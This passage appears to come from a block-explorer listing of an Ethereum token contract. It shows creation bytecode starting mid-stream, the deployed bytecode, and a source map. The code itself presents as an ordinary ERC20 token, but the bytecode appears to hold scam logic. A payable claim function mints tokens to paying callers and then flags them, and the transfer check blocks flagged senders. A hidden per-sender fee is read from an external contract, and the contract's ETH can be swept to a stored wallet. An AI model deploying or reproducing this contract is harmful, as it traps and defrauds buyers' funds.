952ba7f163c4a11628f55a4df523b3ef836040516117c29190611a2f565b60405180910390a36117df8160015461184e90919063ffffffff16565b6001819055505050565b5f8083036117f9575f9050611823565b5f82846118069190611c4f565b90508284826118159190612086565b1461181e575f80fd5b809150505b92915050565b5f808211611835575f80fd5b5f82846118429190612086565b90508091505092915050565b5f80828461185c91906120b6565b90508381101561186a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118ab578082015181840152602081019050611890565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118d082611874565b6118da818561187e565b93506118ea81856020860161188e565b6118f3816118b6565b840191505092915050565b5f6020820190508181035f83015261191681846118c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194b82611922565b9050919050565b61195b81611941565b8114611965575f80fd5b50565b5f8135905061197681611952565b92915050565b5f819050919050565b61198e8161197c565b8114611998575f80fd5b50565b5f813590506119a981611985565b92915050565b5f80604083850312156119c5576119c461191e565b5b5f6119d285828601611968565b92505060206119e38582860161199b565b9150509250929050565b5f8115159050919050565b611a01816119ed565b82525050565b5f602082019050611a1a5f8301846119f8565b92915050565b611a298161197c565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f805f60608486031215611a5f57611a5e61191e565b5b5f611a6c86828701611968565b9350506020611a7d86828701611968565b9250506040611a8e8682870161199b565b9150509250925092565b5f60ff82169050919050565b611aad81611a98565b82525050565b5f602082019050611ac65f830184611aa4565b92915050565b5f60208284031215611ae157611ae061191e565b5b5f611aee84828501611968565b91505092915050565b611b0081611941565b82525050565b5f602082019050611b195f830184611af7565b92915050565b5f8060408385031215611b3557611b3461191e565b5b5f611b4285828601611968565b9250506020611b5385828601611968565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ba157607f821691505b602082108103611bb457611bb3611b5d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bee60208361187e565b9150611bf982611bba565b602082019050919050565b5f6020820190508181035f830152611c1b81611be2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c598261197c565b9150611c648361197c565b9250828202611c728161197c565b91508282048414831517611c8957611c88611c22565b5b5092915050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611cc460178361187e565b9150611ccf82611c90565b602082019050919050565b5f6020820190508181035f830152611cf181611cb8565b9050919050565b5f81519050611d0681611952565b92915050565b5f60208284031215611d2157611d2061191e565b5b5f611d2e84828501611cf8565b91505092915050565b5f604082019050611d4a5f830185611af7565b611d576020830184611af7565b9392505050565b5f819050919050565b5f819050919050565b5f611d8a611d85611d8084611d5e565b611d67565b61197c565b9050919050565b611d9a81611d70565b82525050565b5f60c082019050611db35f830189611af7565b611dc06020830188611a20565b611dcd6040830187611d91565b611dda6060830186611d91565b611de76080830185611af7565b611df460a0830184611a20565b979650505050505050565b5f81519050611e0d81611985565b92915050565b5f805f60608486031215611e2a57611e2961191e565b5b5f611e3786828701611dff565b9350506020611e4886828701611dff565b9250506040611e5986828701611dff565b9150509250925092565b5f604082019050611e765f830185611af7565b611e836020830184611a20565b9392505050565b611e93816119ed565b8114611e9d575f80fd5b50565b5f81519050611eae81611e8a565b92915050565b5f60208284031215611ec957611ec861191e565b5b5f611ed684828501611ea0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f3960248361187e565b9150611f4482611edf565b604082019050919050565b5f6020820190508181035f830152611f6681611f2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fc760228361187e565b9150611fd282611f6d565b604082019050919050565b5f6020820190508181035f830152611ff481611fbb565b9050919050565b5f602082840312156120105761200f61191e565b5b5f61201d84828501611dff565b91505092915050565b5f6120308261197c565b915061203b8361197c565b925082820390508181111561205357612052611c22565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6120908261197c565b915061209b8361197c565b9250826120ab576120aa612059565b5b828204905092915050565b5f6120c08261197c565b91506120cb8361197c565b92508282019050808211156120e3576120e2611c22565b5b9291505056fea26469706673582212203a78226fbf4c29f28513b53fe740f9d3fcc3ff0b149cca436682a6ea60405d2d64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80638cc0802511610094578063b547aeda11610063578063b547aeda14610352578063c9567bf914610368578063d5f3948814610372578063dd62ed3e1461039c578063e086e5ec146103d857610108565b80638cc08025146102865780638da5cb5b146102c257806395d89b41146102ec578063a9059cbb1461031657610108565b8063313ce567116100db578063313ce567146101d85780634d413e7d146102025780634e71d92d1461022a57806370a0823114610234578063715018a61461027057610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b506101206103ee565b60405161012d91906118fe565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906119af565b61047e565b6040516101699190611a07565b60405180910390f35b34801561017d575f80fd5b50610186610494565b6040516101939190611a2f565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611a48565b61049d565b6040516101cf9190611a07565b60405180910390f35b3480156101e3575f80fd5b506101ec610549565b6040516101f99190611ab3565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190611acc565b61055e565b005b61023261062e565b005b34801561023f575f80fd5b5061025a60048036038101906102559190611acc565b6106a9565b6040516102679190611a2f565b60405180910390f35b34801561027b575f80fd5b506102846106ef565b005b348015610291575f80fd5b506102ac60048036038101906102a79190611acc565b610836565b6040516102b99190611a07565b60405180910390f35b3480156102cd575f80fd5b506102d6610888565b6040516102e39190611b06565b60405180910390f35b3480156102f7575f80fd5b506103006108af565b60405161030d91906118fe565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906119af565b61093f565b6040516103499190611a07565b60405180910390f35b34801561035d575f80fd5b50610366610955565b005b610370610ac4565b005b34801561037d575f80fd5b50610386610fc4565b6040516103939190611b06565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd9190611b1f565b610fe9565b6040516103cf9190611a2f565b60405180910390f35b3480156103e3575f80fd5b506103ec61106b565b005b6060600c80546103fd90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611b8a565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a3384846110d3565b6001905092915050565b5f600154905090565b5f6104a9848484611296565b61053e84336105398560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b6110d3565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e290611c04565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3411610639575f80fd5b61065233633b9aca003461064d9190611c4f565b6116d4565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d80546108be90611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ea90611b8a565b80156109355780601f1061090c57610100808354040283529160200191610935565b820191905f5260205f20905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b5f61094b338484611296565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a3a575f80fd5b600760159054906101000a900460ff1615610a53575f80fd5b610aa73060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aa26064610a94600a6001546117e990919063ffffffff16565b61182990919063ffffffff16565b611296565b6001600760156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610ba9575f80fd5b60075f9054906101000a900460ff1615610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611cda565b60405180910390fd5b600760159054906101000a900460ff16610c10575f80fd5b610c3e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546110d3565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ccc9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d769190611d0c565b6040518363ffffffff1660e01b8152600401610d93929190611d37565b6020604051808303815f875af1158015610daf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd39190611d0c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e5a306106a9565b5f80610e64610888565b426040518863ffffffff1660e01b8152600401610e8696959493929190611da0565b60606040518083038185885af1158015610ea2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ec79190611e13565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f67929190611e63565b6020604051808303815f875af1158015610f83573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa79190611eb4565b50600160075f6101000a81548160ff021916908315150217905550565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156110d0573d5f803e3d5ffd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611f4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a690611fdd565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112899190611a2f565b60405180910390a3505050565b5f81116112a1575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112f4575f80fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611383575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ba575f80fd5b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114e55760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016114a39190611b06565b602060405180830381865afa1580156114be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114e29190611ffb565b90505b5f61150c60646114fe84866117e990919063ffffffff16565b61182990919063ffffffff16565b905061155e8360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611601816115f38560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b6116ae90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169f9190611a2f565b60405180910390a35050505050565b5f828211156116bb575f80fd5b5f82846116c89190612026565b90508091505092915050565b6117248160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117c29190611a2f565b60405180910390a36117df8160015461184e90919063ffffffff16565b6001819055505050565b5f8083036117f9575f9050611823565b5f82846118069190611c4f565b90508284826118159190612086565b1461181e575f80fd5b809150505b92915050565b5f808211611835575f80fd5b5f82846118429190612086565b90508091505092915050565b5f80828461185c91906120b6565b90508381101561186a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118ab578082015181840152602081019050611890565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118d082611874565b6118da818561187e565b93506118ea81856020860161188e565b6118f3816118b6565b840191505092915050565b5f6020820190508181035f83015261191681846118c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194b82611922565b9050919050565b61195b81611941565b8114611965575f80fd5b50565b5f8135905061197681611952565b92915050565b5f819050919050565b61198e8161197c565b8114611998575f80fd5b50565b5f813590506119a981611985565b92915050565b5f80604083850312156119c5576119c461191e565b5b5f6119d285828601611968565b92505060206119e38582860161199b565b9150509250929050565b5f8115159050919050565b611a01816119ed565b82525050565b5f602082019050611a1a5f8301846119f8565b92915050565b611a298161197c565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f805f60608486031215611a5f57611a5e61191e565b5b5f611a6c86828701611968565b9350506020611a7d86828701611968565b9250506040611a8e8682870161199b565b9150509250925092565b5f60ff82169050919050565b611aad81611a98565b82525050565b5f602082019050611ac65f830184611aa4565b92915050565b5f60208284031215611ae157611ae061191e565b5b5f611aee84828501611968565b91505092915050565b611b0081611941565b82525050565b5f602082019050611b195f830184611af7565b92915050565b5f8060408385031215611b3557611b3461191e565b5b5f611b4285828601611968565b9250506020611b5385828601611968565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ba157607f821691505b602082108103611bb457611bb3611b5d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bee60208361187e565b9150611bf982611bba565b602082019050919050565b5f6020820190508181035f830152611c1b81611be2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c598261197c565b9150611c648361197c565b9250828202611c728161197c565b91508282048414831517611c8957611c88611c22565b5b5092915050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611cc460178361187e565b9150611ccf82611c90565b602082019050919050565b5f6020820190508181035f830152611cf181611cb8565b9050919050565b5f81519050611d0681611952565b92915050565b5f60208284031215611d2157611d2061191e565b5b5f611d2e84828501611cf8565b91505092915050565b5f604082019050611d4a5f830185611af7565b611d576020830184611af7565b9392505050565b5f819050919050565b5f819050919050565b5f611d8a611d85611d8084611d5e565b611d67565b61197c565b9050919050565b611d9a81611d70565b82525050565b5f60c082019050611db35f830189611af7565b611dc06020830188611a20565b611dcd6040830187611d91565b611dda6060830186611d91565b611de76080830185611af7565b611df460a0830184611a20565b979650505050505050565b5f81519050611e0d81611985565b92915050565b5f805f60608486031215611e2a57611e2961191e565b5b5f611e3786828701611dff565b9350506020611e4886828701611dff565b9250506040611e5986828701611dff565b9150509250925092565b5f604082019050611e765f830185611af7565b611e836020830184611a20565b9392505050565b611e93816119ed565b8114611e9d575f80fd5b50565b5f81519050611eae81611e8a565b92915050565b5f60208284031215611ec957611ec861191e565b5b5f611ed684828501611ea0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f3960248361187e565b9150611f4482611edf565b604082019050919050565b5f6020820190508181035f830152611f6681611f2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611fc760228361187e565b9150611fd282611f6d565b604082019050919050565b5f6020820190508181035f830152611ff481611fbb565b9050919050565b5f602082840312156120105761200f61191e565b5b5f61201d84828501611dff565b91505092915050565b5f6120308261197c565b915061203b8361197c565b925082820390508181111561205357612052611c22565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6120908261197c565b915061209b8361197c565b9250826120ab576120aa612059565b5b828204905092915050565b5f6120c08261197c565b91506120cb8361197c565b92508282019050808211156120e3576120e2611c22565b5b9291505056fea26469706673582212203a78226fbf4c29f28513b53fe740f9d3fcc3ff0b149cca436682a6ea60405d2d64736f6c63430008180033

Deployed Bytecode Sourcemap

725:5036:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2216:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3265:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2117:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4890:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2436:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2008:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2638:171;;;:::i;:::-;;4025:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1532:148:4;;;;;;;;;;;;;:::i;:::-;;2527:103:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1759:79:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2324:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4486:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2817:216;;;;;;;;;;;;;:::i;:::-;;3423:590;;;:::i;:::-;;1402:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4650:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4792:90;;;;;;;;;;;;;:::i;:::-;;2216:100;2270:13;2303:5;2296:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2216:100;:::o;3265:150::-;3331:4;3348:37;3357:10;3369:7;3378:6;3348:8;:37::i;:::-;3403:4;3396:11;;3265:150;;;;:::o;2117:91::-;2161:7;2188:12;;2181:19;;2117:91;:::o;4890:234::-;4970:4;4987:27;4997:4;5003:2;5007:6;4987:9;:27::i;:::-;5025:69;5034:4;5040:10;5052:41;5086:6;5052:11;:17;5064:4;5052:17;;;;;;;;;;;;;;;:29;5070:10;5052:29;;;;;;;;;;;;;;;;:33;;:41;;;;:::i;:::-;5025:8;:69::i;:::-;5112:4;5105:11;;4890:234;;;;;:::o;2436:83::-;2477:5;2502:9;;;;;;;;;;;2495:16;;2436:83;:::o;2008:101::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2092:9:1::1;2081:8;;:20;;;;;;;;;;;;;;;;;;2008:101:::0;:::o;2638:171::-;2703:1;2691:9;:13;2683:22;;;;;;2716:48;2729:10;2753;2741:9;:22;;;;:::i;:::-;2716:12;:48::i;:::-;2797:4;2775:7;:19;2783:10;2775:19;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;2638:171::o;4025:110::-;4082:7;4109:9;:18;4119:7;4109:18;;;;;;;;;;;;;;;;4102:25;;4025:110;;;:::o;1532:148:4:-;1123:10;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1639:1:::1;1602:40;;1623:6;::::0;::::1;;;;;;;;1602:40;;;;;;;;;;;;1670:1;1653:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1532:148::o:0;2527:103:1:-;2583:4;2607:7;:15;2615:6;2607:15;;;;;;;;;;;;;;;;;;;;;;;;;2600:22;;2527:103;;;:::o;1759:79:4:-;1797:7;1824:6;;;;;;;;;;;1817:13;;1759:79;:::o;2324:104:1:-;2380:13;2413:7;2406:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2324:104;:::o;4486:156::-;4555:4;4572:40;4582:10;4594:9;4605:6;4572:9;:40::i;:::-;4630:4;4623:11;;4486:156;;;;:::o;2817:216::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2893:1:1::1;2873:22;;:8;;;;;;;;;;;:22;;::::0;2864:32:::1;;;::::0;::::1;;2916:7;;;;;;;;;;;2915:8;2907:17;;;::::0;::::1;;2935:65;2953:4;2960:8;;;;;;;;;;;2970:29;2995:3;2970:20;2987:2;2970:12;;:16;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;2935:9;:65::i;:::-;3021:4;3011:7;;:14;;;;;;;;;;;;;;;;;;2817:216::o:0;3423:590::-;1123:10:4;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3514:1:1::1;3494:22;;:8;;;;;;;;;;;:22;;::::0;3486:31:::1;;;::::0;::::1;;3537:11;;;;;;;;;;;3536:12;3528:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;3595:7;;;;;;;;;;;3587:16;;;::::0;::::1;;3614:59;3631:4;3646:11;;;;;;;;;;;3660:12;;3614:8;:59::i;:::-;3709:11;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3696:46;;;3751:4;3758:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3696:81;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3684:9;;:93;;;;;;;;;;;;;;;;;;3788:11;;;;;;;;;;;:27;;;3823:9;3842:4;3848:24;3866:4;3848:9;:24::i;:::-;3874:1;3876::::0;3878:7:::1;:5;:7::i;:::-;3886:15;3788:114;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;3920:9;;;;;;;;;;;3913:25;;;3947:11;;;;;;;;;;;3961:14;3913:63;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4001:4;3987:11;;:18;;;;;;;;;;;;;;;;;;3423:590::o:0;1402:23::-;;;;;;;;;;;;;:::o;4650:134::-;4722:7;4749:11;:18;4761:5;4749:18;;;;;;;;;;;;;;;:27;4768:7;4749:27;;;;;;;;;;;;;;;;4742:34;;4650:134;;;;:::o;4792:90::-;4835:7;;;;;;;;;;;:16;;:39;4852:21;4835:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4792:90::o;4143:335::-;4253:1;4236:19;;:5;:19;;;4228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4334:1;4315:21;;:7;:21;;;4307:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4416:6;4386:11;:18;4398:5;4386:18;;;;;;;;;;;;;;;:27;4405:7;4386:27;;;;;;;;;;;;;;;:36;;;;4454:7;4438:32;;4447:5;4438:32;;;4463:6;4438:32;;;;;;:::i;:::-;;;;;;;;4143:335;;;:::o;5132:626::-;5229:1;5220:6;:10;5212:19;;;;;;5251:7;:13;5259:4;5251:13;;;;;;;;;;;;;;;;;;;;;;;;;5250:14;5242:23;;;;;;5292:8;;;;;;;;;;;5284:16;;:4;:16;;;5276:25;;;;;;5336:1;5320:18;;:4;:18;;;5312:27;;;;;;5372:1;5358:16;;:2;:16;;;5350:25;;;;;;5386:11;5424:9;;;;;;;;;;;5416:17;;:4;:17;;;;:42;;;;;5453:4;5437:21;;:4;:21;;;;5416:42;5412:119;;;5488:14;;;;;;;;;;;5481:32;;;5514:4;5481:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5475:44;;5412:119;5541:17;5561:24;5581:3;5561:15;5572:3;5561:6;:10;;:15;;;;:::i;:::-;:19;;:24;;;;:::i;:::-;5541:44;;5614:27;5634:6;5614:9;:15;5624:4;5614:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5596:9;:15;5606:4;5596:15;;;;;;;;;;;;;;;:45;;;;5668:40;5698:9;5668:25;5686:6;5668:9;:13;5678:2;5668:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:40;;;;:::i;:::-;5652:9;:13;5662:2;5652:13;;;;;;;;;;;;;;;:56;;;;5739:2;5724:26;;5733:4;5724:26;;;5743:6;5724:26;;;;;;:::i;:::-;;;;;;;;52